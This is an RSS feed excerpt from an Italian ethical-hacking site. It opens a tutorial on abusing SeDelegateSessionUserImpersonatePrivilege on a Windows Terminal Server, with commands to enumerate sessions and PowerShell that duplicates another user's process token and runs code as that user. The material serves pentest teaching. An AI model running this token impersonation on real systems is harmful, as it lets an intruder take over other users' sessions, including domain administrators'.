https://hackita.it/tags/rds-impersonation/Recent content in Rds-Impersonation on Ethical Hacking | Pentest e Sicurezza Informatica | HackitaHugoitTue, 16 Jun 2026 00:00:00 +0000https://hackita.it/articoli/sedelegatesessionuserimpersonateprivilege/Tue, 16 Jun 2026 00:00:00 +0000https://hackita.it/articoli/sedelegatesessionuserimpersonateprivilege/<p>Sei su un Terminal Server con 20 utenti connessi. Hai compromesso il service account del session broker. Con SeDelegateSessionUserImpersonatePrivilege puoi impersonare qualsiasi utente in qualsiasi sessione attiva — inclusi gli admin di dominio loggati — senza aspettare che si connettano a te.</p> <hr> <h2 id="quick-exploit" class="group/anchor-heading"> Quick Exploit <a href="#quick-exploit" class="text-inherit opacity-0 group-hover/anchor-heading:opacity-100 decoration-transparent">#</a> </h2> <div class="shadow-xl border border-primary h-fit rounded-md"> <div class="w-full rounded-t-md py-3 px-[0.8571429em] header-glass flex justify-between items-center"> <div class="flex gap-x-2"> <span class="size-3 bg-red-500 rounded-full"></span> <span class="size-3 bg-yellow-500 rounded-full"></span> <span class="size-3 bg-green-500 rounded-full"></span> </div> <span class="uppercase text-sm">cmd</span> </div> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="cl">query session </span></span><span class="line"><span class="cl">tasklist /FI <span class="s2">&#34;SESSION eq 3&#34;</span></span></span></code></pre></div> </div> <div class="shadow-xl border border-primary h-fit rounded-md"> <div class="w-full rounded-t-md py-3 px-[0.8571429em] header-glass flex justify-between items-center"> <div class="flex gap-x-2"> <span class="size-3 bg-red-500 rounded-full"></span> <span class="size-3 bg-yellow-500 rounded-full"></span> <span class="size-3 bg-green-500 rounded-full"></span> </div> <span class="uppercase text-sm">powershell</span> </div> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Import-Module</span> <span class="n">NtObjectManager</span> </span></span><span class="line"><span class="cl"><span class="nv">$proc</span> <span class="p">=</span> <span class="nb">Get-NtProcess</span> <span class="n">-ProcessId</span> <span class="mf">4512</span> </span></span><span class="line"><span class="cl"><span class="nv">$token</span> <span class="p">=</span> <span class="nb">Get-NtToken</span> <span class="n">-Process</span> <span class="nv">$proc</span> <span class="n">-Duplicate</span> <span class="n">-TokenType</span> <span class="n">Impersonation</span> <span class="n">-ImpersonationLevel</span> <span class="n">Impersonation</span> </span></span><span class="line"><span class="cl"><span class="nb">Invoke-NtToken</span> <span class="n">-Token</span> <span class="nv">$token</span> <span class="n">-Script</span> <span class="p">{</span> <span class="n">whoami</span> <span class="p">}</span></span></span></code></pre></div> </div> <p>Output atteso:</p>